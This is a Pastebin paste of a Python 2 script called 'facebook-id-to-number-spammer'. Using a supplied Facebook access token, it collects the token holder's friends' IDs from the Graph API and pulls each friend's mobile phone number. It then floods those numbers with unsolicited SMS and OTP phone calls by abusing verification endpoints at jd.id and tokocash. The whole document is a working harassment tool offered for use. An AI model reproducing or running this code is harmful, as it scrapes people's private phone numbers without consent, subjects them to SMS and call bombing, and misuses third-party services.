LOoLzeC

[Python] facebook-id-to-number-spammer.py

Sep 16th, 2018
1,360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.46 KB | None | 0 0
  1. import requests,json,sys,time
  2. W = '\033[1;37m' # White bold
  3. N  = '\033[0m'  # white (Normal)
  4. R = '\033[31m' # red
  5. G  = '\033[1;32m' # green bold
  6. O  = '\033[33m' # orange
  7. B  = '\033[34m' # blue
  8. P  = '\033[35m' # purple
  9. C  = '\033[36m' # cyan
  10. print W+R+"=========================================================="+W
  11. print """   ____   ___   _____   ____   ___   ____   ____    __ __
  12.  / __/  / _ | / ___/  / __/  / _ ) / __ \ / __ \ / //_/
  13. / _/   / __ |/ /__   / _/   / _  |/ /_/ // /_/ / / ,<  
  14. /_/    /_/ |_|\___/  /___/  /____/ \____/ \____/ /_/|_|  
  15.  
  16.         Friends To Number Spammer
  17. """
  18. print W+R+"[+]"+W+" Coded By : Deray"
  19. print W+R+"[+]"+W+" Github   : https://github.com/LOoLzeC"
  20. print W+R+"[+]"+W+" Created By LOoLzeC"
  21. print R+"=========================================================="
  22. list=raw_input(W+R+'\n[?]'+W+' Your Token List>> ')
  23. try:
  24.     API=open(list).readline().replace('\n','')
  25. except:
  26.     print W+R+"[!] "+W+list+" Not Found!"
  27.     sys.exit()
  28. print W+B+"[+] "+W+"Grabbing Username ..."
  29. try:
  30.     data= requests.get('https://graph.facebook.com/me/friends?access_token='+API+'')
  31. except:
  32.     print W+R+"[-] Check ur connection!"+W
  33.     sys.exit()
  34. loaded = json.loads(data.text)
  35. saved = open('id.txt','w')
  36. for id in loaded['data']:
  37.     saved.write(id['id'] + '\n')
  38. saved.close()
  39. print W+B+"[+]"+W+" Succes ..."
  40. file=open('id.txt').readlines()
  41. k=len(file)
  42. print W+B+"[*] "+W+R+str(k)+W+" ID Loaded!"
  43. print W+B+"[*]"+W+" Spamming Phone Number ...\n"
  44. fl=open('id.txt')
  45. for p in range(k):
  46.     o=fl.readline().replace('\n','')
  47.     try:
  48.         r=requests.get('https://graph.facebook.com/'+o+'?access_token='+API+'')
  49.     except:
  50.         print W+R+"[-] Check ur connection!"+W
  51.         sys.exit()
  52.     js=json.loads(r.text)
  53.     try:
  54.         k=js["mobile_phone"]
  55.         joy=k.replace('+62','0')
  56.         param={'phone':joy,'smsType':'1'}
  57.         try:
  58.             requestss=requests.post('http://sc.jd.id/phone/sendPhoneSms', data=param)
  59.         except:
  60.             print W+R+"[-] Check ur connection!"+W
  61.             sys.exit()
  62.        
  63.         if "succes" in requestss.text:
  64.             print W+G+"[+] "+R+k+W+"\t===> "+G+"SPAMMED!   [SMS]"
  65.         else:
  66.             print R+"[-] "+k+W+"\t===>"+R+" FAILED!!   [SMS]"
  67.         param2={'msisdn':k,'accept':'call'}
  68.         try:
  69.             requests2=requests.post('https://www.tokocash.com/oauth/otp',data=param2)
  70.         except:
  71.             print R+"[-] Check ur connection!"+W
  72.             sys.exit()
  73.         if 'otp_attempt_left' in requests2.text:
  74.             print W+G+"[+] "+R+k+W+"\t===> "+G+"SPAMMED! [TELEPON]\n"
  75.         else:
  76.             print R+"[-] "+k+W+"\t===> "+R+"FAILED!! [TELEPON]\n"
  77.     except:
  78.         pass
Advertisement
Add Comment
Please, Sign In to add comment